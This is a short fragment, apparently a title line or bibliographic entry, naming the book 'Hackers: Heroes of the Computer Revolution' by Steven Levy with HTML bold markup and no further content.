     <b>Hackers: Heroes of the Computer Revolution</b>
     Steven Levy
